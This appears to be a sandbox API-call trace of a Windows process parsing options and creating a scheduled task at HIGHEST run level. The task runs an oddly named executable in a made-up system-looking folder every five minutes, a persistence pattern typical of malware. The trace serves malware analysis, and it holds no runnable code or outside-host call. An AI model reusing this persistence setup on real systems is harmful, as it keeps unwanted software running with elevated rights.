[0128.549] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0128.549] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.549] lstrlenW (lpString="|i|") returned 3 [0128.549] lstrlenW (lpString="|f|") returned 3 [0128.549] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0128.549] SetLastError (dwErrCode=0x490) [0128.549] lstrlenW (lpString="tn") returned 2 [0128.549] lstrlenW (lpString="tn") returned 2 [0128.549] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] lstrlenW (lpString="f") returned 1 [0128.549] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.550] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.550] lstrlenW (lpString="|tn|") returned 4 [0128.550] lstrlenW (lpString="|f|") returned 3 [0128.550] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0128.550] SetLastError (dwErrCode=0x490) [0128.550] lstrlenW (lpString="tr") returned 2 [0128.550] lstrlenW (lpString="tr") returned 2 [0128.550] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.550] lstrlenW (lpString="f") returned 1 [0128.550] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.550] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.550] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.550] lstrlenW (lpString="|tr|") returned 4 [0128.550] lstrlenW (lpString="|f|") returned 3 [0128.550] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0128.550] SetLastError (dwErrCode=0x490) [0128.550] lstrlenW (lpString="st") returned 2 [0128.550] lstrlenW (lpString="st") returned 2 [0128.550] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.550] lstrlenW (lpString="f") returned 1 [0128.550] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.550] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|st|") returned 4 [0128.550] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.550] lstrlenW (lpString="|st|") returned 4 [0128.550] lstrlenW (lpString="|f|") returned 3 [0128.550] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0128.550] SetLastError (dwErrCode=0x490) [0128.550] lstrlenW (lpString="sd") returned 2 [0128.551] lstrlenW (lpString="sd") returned 2 [0128.551] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] lstrlenW (lpString="f") returned 1 [0128.551] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sd|") returned 4 [0128.551] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.551] lstrlenW (lpString="|sd|") returned 4 [0128.551] lstrlenW (lpString="|f|") returned 3 [0128.551] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0128.551] SetLastError (dwErrCode=0x490) [0128.551] lstrlenW (lpString="ed") returned 2 [0128.551] lstrlenW (lpString="ed") returned 2 [0128.551] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] lstrlenW (lpString="f") returned 1 [0128.551] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ed|") returned 4 [0128.551] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.551] lstrlenW (lpString="|ed|") returned 4 [0128.551] lstrlenW (lpString="|f|") returned 3 [0128.551] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0128.551] SetLastError (dwErrCode=0x490) [0128.551] lstrlenW (lpString="it") returned 2 [0128.551] lstrlenW (lpString="it") returned 2 [0128.551] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] lstrlenW (lpString="f") returned 1 [0128.551] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.551] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|it|") returned 4 [0128.552] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.552] lstrlenW (lpString="|it|") returned 4 [0128.552] lstrlenW (lpString="|f|") returned 3 [0128.552] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0128.552] SetLastError (dwErrCode=0x490) [0128.552] lstrlenW (lpString="et") returned 2 [0128.552] lstrlenW (lpString="et") returned 2 [0128.552] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.552] lstrlenW (lpString="f") returned 1 [0128.552] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.552] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|et|") returned 4 [0128.552] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.552] lstrlenW (lpString="|et|") returned 4 [0128.552] lstrlenW (lpString="|f|") returned 3 [0128.552] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0128.553] SetLastError (dwErrCode=0x490) [0128.553] lstrlenW (lpString="k") returned 1 [0128.553] lstrlenW (lpString="k") returned 1 [0128.553] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.553] lstrlenW (lpString="f") returned 1 [0128.553] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.553] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|k|") returned 3 [0128.553] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.553] lstrlenW (lpString="|k|") returned 3 [0128.553] lstrlenW (lpString="|f|") returned 3 [0128.553] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0128.553] SetLastError (dwErrCode=0x490) [0128.553] lstrlenW (lpString="du") returned 2 [0128.553] lstrlenW (lpString="du") returned 2 [0128.553] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.553] lstrlenW (lpString="f") returned 1 [0128.553] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.553] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|du|") returned 4 [0128.553] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.553] lstrlenW (lpString="|du|") returned 4 [0128.553] lstrlenW (lpString="|f|") returned 3 [0128.553] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0128.553] SetLastError (dwErrCode=0x490) [0128.553] lstrlenW (lpString="ri") returned 2 [0128.553] lstrlenW (lpString="ri") returned 2 [0128.553] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] lstrlenW (lpString="f") returned 1 [0128.554] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ri|") returned 4 [0128.554] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.554] lstrlenW (lpString="|ri|") returned 4 [0128.554] lstrlenW (lpString="|f|") returned 3 [0128.554] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0128.554] SetLastError (dwErrCode=0x490) [0128.554] lstrlenW (lpString="z") returned 1 [0128.554] lstrlenW (lpString="z") returned 1 [0128.554] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] lstrlenW (lpString="f") returned 1 [0128.554] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|z|") returned 3 [0128.554] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.554] lstrlenW (lpString="|z|") returned 3 [0128.554] lstrlenW (lpString="|f|") returned 3 [0128.554] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0128.554] SetLastError (dwErrCode=0x490) [0128.554] lstrlenW (lpString="f") returned 1 [0128.554] lstrlenW (lpString="f") returned 1 [0128.554] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] lstrlenW (lpString="f") returned 1 [0128.554] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.554] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.554] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.554] lstrlenW (lpString="|f|") returned 3 [0128.554] lstrlenW (lpString="|f|") returned 3 [0128.555] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0128.555] SetLastError (dwErrCode=0x0) [0128.555] SetLastError (dwErrCode=0x0) [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cdc0 [0128.555] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.555] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0128.555] lstrlenW (lpString="LIMITED") returned 7 [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x10) returned 0x48d560 [0128.555] GetThreadLocale () returned 0x409 [0128.555] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd90 [0128.555] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.555] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0128.555] lstrlenW (lpString="HIGHEST") returned 7 [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x10) returned 0x48d580 [0128.555] GetThreadLocale () returned 0x409 [0128.555] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd60 [0128.555] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.555] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0128.555] lstrlenW (lpString="MINUTE") returned 6 [0128.555] GetProcessHeap () returned 0x470000 [0128.555] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48d5a0 [0128.555] GetThreadLocale () returned 0x409 [0128.555] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0128.556] SetLastError (dwErrCode=0x0) [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x1fc) returned 0x48c400 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd30 [0128.556] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.556] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.556] lstrlenW (lpString="First") returned 5 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xc) returned 0x48d5c0 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cd00 [0128.556] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.556] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.556] lstrlenW (lpString="Second") returned 6 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48d5e0 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48ccd0 [0128.556] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.556] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.556] lstrlenW (lpString="Third") returned 5 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xc) returned 0x48d600 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x20) returned 0x48cca0 [0128.556] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.556] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.556] lstrlenW (lpString="Fourth") returned 6 [0128.556] GetProcessHeap () returned 0x470000 [0128.556] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48d620 [0128.556] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.556] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.557] lstrlenW (lpString="Last") returned 4 [0128.557] GetProcessHeap () returned 0x470000 [0128.557] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xa) returned 0x48d640 [0128.557] lstrlenW (lpString="5") returned 1 [0128.557] _wtol (_String="5") returned 5 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.557] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0128.557] lstrlenW (lpString="First") returned 5 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.557] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0128.557] lstrlenW (lpString="Second") returned 6 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.557] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0128.557] lstrlenW (lpString="Third") returned 5 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.557] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0128.557] lstrlenW (lpString="Fourth") returned 6 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.557] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0128.557] lstrlenW (lpString="Last") returned 4 [0128.557] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c660, cchData=128 | out: lpLCData="0") returned 2 [0128.557] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.558] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.558] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5c0) returned 1 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d5c0) returned 0xc [0128.558] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5c0 | out: hHeap=0x470000) returned 1 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x16) returned 0x48d5c0 [0128.558] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x27c680, cchData=128 | out: lpLCData="0") returned 2 [0128.558] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.558] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0128.558] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5e0) returned 1 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d5e0) returned 0xe [0128.558] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5e0 | out: hHeap=0x470000) returned 1 [0128.558] GetProcessHeap () returned 0x470000 [0128.558] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x16) returned 0x48d5e0 [0128.558] GetLocalTime (in: lpSystemTime=0x27c8b0 | out: lpSystemTime=0x27c8b0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x34, wMilliseconds=0x20e)) [0128.558] lstrlenW (lpString="") returned 0 [0128.559] GetLocalTime (in: lpSystemTime=0x27d168 | out: lpSystemTime=0x27d168*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x34, wMilliseconds=0x20e)) [0128.559] lstrlenW (lpString="") returned 0 [0128.559] lstrlenW (lpString="") returned 0 [0128.559] lstrlenW (lpString="") returned 0 [0128.559] lstrlenW (lpString="") returned 0 [0128.559] lstrlenW (lpString="5") returned 1 [0128.559] _wtol (_String="5") returned 5 [0128.559] lstrlenW (lpString="") returned 0 [0128.559] lstrlenW (lpString="") returned 0 [0128.559] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0128.579] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0128.603] CoCreateInstance (in: rclsid=0xffc81ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc81ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x27cf30 | out: ppv=0x27cf30*=0x3e7aa0) returned 0x0 [0128.617] TaskScheduler:ITaskService:Connect (This=0x3e7aa0, serverName=0x27d010*(varType=0x8, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x27cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x27cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0128.865] TaskScheduler:IUnknown:AddRef (This=0x3e7aa0) returned 0x2 [0128.865] TaskScheduler:ITaskService:GetFolder (in: This=0x3e7aa0, Path=0x0, ppFolder=0x27d0c8 | out: ppFolder=0x27d0c8*=0x3e7cd0) returned 0x0 [0128.931] TaskScheduler:ITaskService:NewTask (in: This=0x3e7aa0, flags=0x0, ppDefinition=0x27d0c0 | out: ppDefinition=0x27d0c0*=0x3e7d20) returned 0x0 [0128.931] ITaskDefinition:get_Actions (in: This=0x3e7d20, ppActions=0x27d040 | out: ppActions=0x27d040*=0x3e7de0) returned 0x0 [0128.931] IActionCollection:Create (in: This=0x3e7de0, Type=0, ppAction=0x27d060 | out: ppAction=0x27d060*=0x3e6170) returned 0x0 [0128.931] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.931] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.931] lstrlenW (lpString=" ") returned 1 [0128.931] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.932] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x5f) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.933] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.933] IUnknown:Release (This=0x3e6170) returned 0x1 [0128.933] IUnknown:Release (This=0x3e7de0) returned 0x1 [0128.933] ITaskDefinition:get_Triggers (in: This=0x3e7d20, ppTriggers=0x27cbc0 | out: ppTriggers=0x27cbc0*=0x3e7f20) returned 0x0 [0128.933] ITriggerCollection:Create (in: This=0x3e7f20, Type=1, ppTrigger=0x27cbb8 | out: ppTrigger=0x27cbb8*=0x3e61e0) returned 0x0 [0128.934] lstrlenW (lpString="5") returned 1 [0128.934] _vsnwprintf (in: _Buffer=0x27cb40, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x27cb38 | out: _Buffer="PT5M") returned 4 [0128.934] ITrigger:get_Repetition (in: This=0x3e61e0, ppRepeat=0x27cbb0 | out: ppRepeat=0x27cbb0*=0x3e6270) returned 0x0 [0128.934] IRepetitionPattern:put_Interval (This=0x3e6270, Interval="PT5M") returned 0x0 [0128.934] IUnknown:Release (This=0x3e6270) returned 0x1 [0128.934] _vsnwprintf (in: _Buffer=0x27cb00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27cad8 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0128.934] ITrigger:put_StartBoundary (This=0x3e61e0, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0128.934] lstrlenW (lpString="") returned 0 [0128.934] lstrlenW (lpString="") returned 0 [0128.934] lstrlenW (lpString="") returned 0 [0128.934] lstrlenW (lpString="") returned 0 [0128.935] IUnknown:Release (This=0x3e61e0) returned 0x1 [0128.935] IUnknown:Release (This=0x3e7f20) returned 0x1 [0128.935] ITaskDefinition:get_Settings (in: This=0x3e7d20, ppSettings=0x27d060 | out: ppSettings=0x27d060*=0x3e5f50) returned 0x0 [0128.935] lstrlenW (lpString="") 